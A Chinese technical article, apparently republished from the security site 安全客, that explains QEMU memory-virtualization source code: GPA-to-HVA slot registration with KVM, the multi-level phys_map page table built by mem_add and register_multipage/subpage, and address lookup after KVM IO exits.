这个函数主要就是得到MemoryRegionSection在address_space中的位置,这个就是虚拟机的物理地址,函数中是start_addr, 然后通过memory_region_get_ram_ptr得到对应其对应的qemu的HVA地址,函数中是ram,当然还有大小的size以及这块内存的flags,这些参数组成了一个KVMSlot,之后传递给kvm_set_user_memory_region。

staticintkvm_set_user_memory_region(KVMMemoryListener*kml,KVMSlot*slot) { KVMState*s=kvm_state; structkvm_userspace_memory_regionmem; mem.slot=slot->slot|(kml->as_id<<16); mem.guest_phys_addr=slot->start_addr; mem.userspace_addr=(unsignedlong)slot->ram; mem.flags=slot->flags; if(slot->memory_size&&mem.flags&KVM_MEM_READONLY){ /*Settheslotsizeto0beforesettingtheslottothedesired *value.ThisisneededbasedonKVMcommit75d61fbc.*/ mem.memory_size=0; kvm_vm_ioctl(s,KVM_SET_USER_MEMORY_REGION,&mem); } mem.memory_size=slot->memory_size; returnkvm_vm_ioctl(s,KVM_SET_USER_MEMORY_REGION,&mem); }

通过层层抽象,我们终于完成了GPA->HVA的对应,并且传递到了KVM。


四. kvm exit之后的内存寻址

在address_space_init_dispatch函数中,我们可以看到,每一个通过AddressSpace都会注册一个Listener回调,回调的各个函数都一样,mem_begin, mem_add等。

voidaddress_space_init_dispatch(AddressSpace*as) { as->dispatch=NULL; as->dispatch_listener=(MemoryListener){ .begin=mem_begin, .commit=mem_commit, .region_add=mem_add, .region_nop=mem_add, .priority=0, }; memory_listener_register(&as->dispatch_listener,as); }

我们重点看看mem_add

staticvoidmem_add(MemoryListener*listener,MemoryRegionSection*section) { AddressSpace*as=container_of(listener,AddressSpace,dispatch_listener); AddressSpaceDispatch*d=as->next_dispatch; MemoryRegionSectionnow=*section,remain=*section; Int128page_size=int128_make64(TARGET_PAGE_SIZE); if(now.offset_within_address_space&~TARGET_PAGE_MASK){ uint64_tleft=TARGET_PAGE_ALIGN(now.offset_within_address_space) -now.offset_within_address_space; now.size=int128_min(int128_make64(left),now.size); register_subpage(d,&now); }else{ now.size=int128_zero(); } while(int128_ne(remain.size,now.size)){ remain.size=int128_sub(remain.size,now.size); remain.offset_within_address_space+=int128_get64(now.size); remain.offset_within_region+=int128_get64(now.size); now=remain; if(int128_lt(remain.size,page_size)){ register_subpage(d,&now); }elseif(remain.offset_within_address_space&~TARGET_PAGE_MASK){ now.size=page_size; register_subpage(d,&now); }else{ now.size=int128_and(now.size,int128_neg(page_size)); register_multipage(d,&now); } } }

mem_add在添加了内存区域之后会被调用,调用路径为

address_space_update_topology_pass MEMORY_LISTENER_UPDATE_REGION(frnew,as,Forward,region_add); #defineMEMORY_LISTENER_UPDATE_REGION(fr,as,dir,callback,_args...)\ do{\ MemoryRegionSectionmrs=section_from_flat_range(fr,as);\ MEMORY_LISTENER_CALL(as,callback,dir,&mrs,##_args);\ }while(0)

如果新增加了一个FlatRange,则会调用将该fr转换为一个MemroyRegionSection,然后调用Listener的region_add。

回到mem_add,这个函数主要是调用两个函数如果是添加的地址落到一个页内,则调用register_subpage,如果是多个页,则调用register_multipage,先看看register_multipage,因为最开始注册都是一波大的,比如pc.ram。首先now.offset_within_address_space并不会落在一个页内。所以直接进入while循环,之后进入register_multipage,d这个AddressSpaceDispatch是在mem_begin创建的。

staticvoidregister_multipage(AddressSpaceDispatch*d, MemoryRegionSection*section) { hwaddrstart_addr=section->offset_within_address_space; uint16_tsection_index=phys_section_add(&d->map,section); uint64_tnum_pages=int128_get64(int128_rshift(section->size, TARGET_PAGE_BITS)); assert(num_pages); phys_page_set(d,start_addr>>TARGET_PAGE_BITS,num_pages,section_index); }

首先分一个d->map->sections空间出来,其index为section_index。

staticvoidphys_page_set(AddressSpaceDispatch*d, hwaddrindex,hwaddrnb, uint16_tleaf) { /*Wildlyoverreserve-itdoesn'tmattermuch.*/ phys_map_node_reserve(&d->map,3*P_L2_LEVELS); phys_page_set_level(&d->map,&d->phys_map,&index,&nb,leaf,P_L2_LEVELS-1); }

之后start_addr右移12位,计算出总共需要多少个页。这里说一句,qemu在这里总共使用了6级页表,最后一级长度12,然后是5 * 9 + 7。phys_map_node_reserve首先分配页目录项。

staticvoidphys_map_node_reserve(PhysPageMap*map,unsignednodes) { staticunsignedalloc_hint=16; if(map->nodes_nb+nodes>map->nodes_nb_alloc){ map->nodes_nb_alloc=MAX(map->nodes_nb_alloc,alloc_hint); map->nodes_nb_alloc=MAX(map->nodes_nb_alloc,map->nodes_nb+nodes); map->nodes=g_renew(Node,map->nodes,map->nodes_nb_alloc); alloc_hint=map->nodes_nb_alloc; } }

phys_page_set_level填充页表。初始调用时,level为5,因为要从最开始一层填充。

staticvoidphys_page_set_level(PhysPageMap*map,PhysPageEntry*lp, hwaddr*index,hwaddr*nb,uint16_tleaf, intlevel) { PhysPageEntry*p; hwaddrstep=(hwaddr)1<<(level*P_L2_BITS); if(lp->skip&&lp->ptr==PHYS_MAP_NODE_NIL){ lp->ptr=phys_map_node_alloc(map,level==0); } p=map->nodes[lp->ptr]; lp=&p[(*index>>(level*P_L2_BITS))&(P_L2_SIZE-1)]; while(*nb&&lp<&p[P_L2_SIZE]){ if((*index&(step-1))==0&&*nb>=step){ lp->skip=0; lp->ptr=leaf; *index+=step; *nb-=step; }else{ phys_page_set_level(map,lp,index,nb,leaf,level-1); } ++lp; } }

这个函数主要就是建立一个多级页表。如图所示


【技术分享】QEMU内存虚拟化源码分析
structPhysPageEntry{ /*Howmanybitsskiptonextlevel(inunitsofL2_SIZE).0foraleaf.*/ uint32_tskip:6; /*indexintophys_sections(!skip)orphys_map_nodes(skip)*/ uint32_tptr:26; };

简单说说PhysPageEntry, skip表示需要移动多少步到下一级页表,如果skip为0,说明这是最末级页表了,ptr指向的是map->sections数组的某一项。如果skip不为0,则ptr指向的是哪一个node,也就是页目录。总而言之,这个函数的作用就是建立起一个多级页表,最末尾的页表项表示的是MemoryRegionSection,这跟OS里面的页表是一个道理,而AddressSpaceDispatch中的phys_map域则相当于CR3寄存器,用来最开始的寻址。

好了,我们已经分析好了register_multipage。现在看看register_subpage。

为什么会有在一个页面内注册的需求呢,我的理解是这样的 我们来看一下io port的分布,很明显在一个page里面会有多个MemoryRegion,所以这些内存空间需要分开的MemroyRegionSection,但是呢,这种情况又不是很普遍的,对于内存来说,很多时候1页,2页都是同一个MemoryRegion,总不能对于所有的地址都来一个MemoryRegionSection,所以呢,才会有这么一个subpage,有需要的时候再创建,没有就是整个mutipage。

0000000000000000-0000000000000007(prio0,RW):dma-chan 0000000000000008-000000000000000f(prio0,RW):dma-cont 0000000000000020-0000000000000021(prio0,RW):kvm-pic 0000000000000040-0000000000000043(prio0,RW):kvm-pit 0000000000000060-0000000000000060(prio0,RW):i8042-data 0000000000000061-0000000000000061(prio0,RW):pcspk 0000000000000064-0000000000000064(prio0,RW):i8042-cmd 0000000000000070-0000000000000071(prio0,RW):rtc

有subpage的情况如下图:


【技术分享】QEMU内存虚拟化源码分析

好了,有了上面的知识,我们可以来看对于kvm io exit之后的寻址过程了。

intkvm_cpu_exec(CPUState*cpu) { switch(run->exit_reason){ caseKVM_EXIT_IO: DPRINTF("handle_io\n"); /*CalledoutsideBQL*/ kvm_handle_io(run->io.port,attrs, (uint8_t*)run+run->io.data_offset, run->io.direction, run->io.size, run->io.count); ret=0; break; caseKVM_EXIT_MMIO: DPRINTF("handle_mmio\n"); /*CalledoutsideBQL*/ address_space_rw(&address_space_memory, run->mmio.phys_addr,attrs, run->mmio.data, run->mmio.len, run->mmio.is_write); ret=0; break; }

这里我们以KVM_EXIT_IO为例说明

staticvoidkvm_handle_io(uint16_tport,MemTxAttrsattrs,void*data,intdirection, intsize,uint32_tcount) { inti; uint8_t*ptr=data; for(i=0;i<count;i++){ address_space_rw(&address_space_io,port,attrs, ptr,size, direction==KVM_EXIT_IO_OUT); ptr+=size; } }

可以看到是在全局的address_space_io中寻址,这里我们只看寻址过程,找到HVA之后数据拷贝这些就不说了。

address_space_rw->address_space_write->address_space_translate->address_space_translate_internal

直接看最后一个函数

address_space_translate_internal(AddressSpaceDispatch*d,hwaddraddr,hwaddr*xlat, hwaddr*plen,boolresolve_subpage) { MemoryRegionSection*section; MemoryRegion*mr; Int128diff; section=address_space_lookup_region(d,addr,resolve_subpage); /*ComputeoffsetwithinMemoryRegionSection*/ addr-=section->offset_within_address_space; /*ComputeoffsetwithinMemoryRegion*/ *xlat=addr+section->offset_within_region; mr=section->mr; if(memory_region_is_ram(mr)){ diff=int128_sub(section->size,int128_make64(addr)); *plen=int128_get64(int128_min(diff,int128_make64(*plen))); } returnsection; }

最重要的当然是找到对应的MemroyRegionSection

staticMemoryRegionSection*address_space_lookup_region(AddressSpaceDispatch*d, hwaddraddr, boolresolve_subpage) { MemoryRegionSection*section=atomic_read(&d->mru_section); subpage_t*subpage; boolupdate; if(section&&section!=&d->map.sections[PHYS_SECTION_UNASSIGNED]&& section_covers_addr(section,addr)){ update=false; }else{ section=phys_page_find(d->phys_map,addr,d->map.nodes, d->map.sections); update=true; } if(resolve_subpage&&section->mr->subpage){ subpage=container_of(section->mr,subpage_t,iomem); section=&d->map.sections[subpage->sub_section[SUBPAGE_IDX(addr)]]; } if(update){ atomic_set(&d->mru_section,section); } returnsection; }

d->mru_section作为一个缓存,由于局部性原理,这样可以提高效率。我们看到phys_page_find,类似于一个典型的页表查询过程,通过addr一步一步查找到最后的MemoryRegionSection。

staticMemoryRegionSection*phys_page_find(PhysPageEntrylp,hwaddraddr, Node*nodes,MemoryRegionSection*sections) { PhysPageEntry*p; hwaddrindex=addr>>TARGET_PAGE_BITS; inti; for(i=P_L2_LEVELS;lp.skip&&(i-=lp.skip)>=0;){ if(lp.ptr==PHYS_MAP_NODE_NIL){ return&sections[PHYS_SECTION_UNASSIGNED]; } p=nodes[lp.ptr]; lp=p[(index>>(i*P_L2_BITS))&(P_L2_SIZE-1)]; } if(section_covers_addr(&sections[lp.ptr],addr)){ return&sections[lp.ptr]; }else{ return&sections[PHYS_SECTION_UNASSIGNED]; } }

回到address_space_lookup_region,接着解析subpage,如果之前的subpage部分理解了,这里就很容易了。这样就返回了我们需要的MemoryRegionSection。


五. 总结

写这篇文章算是对qemu内存虚拟化的一个总结,参考了网上大神的文章,感谢之,当然,自己也有不少内容。这篇文章也有很多细节没有写完,比如从mr renader出FlatView,比如,根据前后的FlatView进行memory的commit,如果以后有时间补上。


六. 参考

1. 六六哥的博客

2. OENHAN


传送门

【技术分享】探索QEMU-KVM中PIO处理的奥秘




【技术分享】QEMU内存虚拟化源码分析
【技术分享】QEMU内存虚拟化源码分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4092.html
Viewing all 12749 articles
Browse latest View live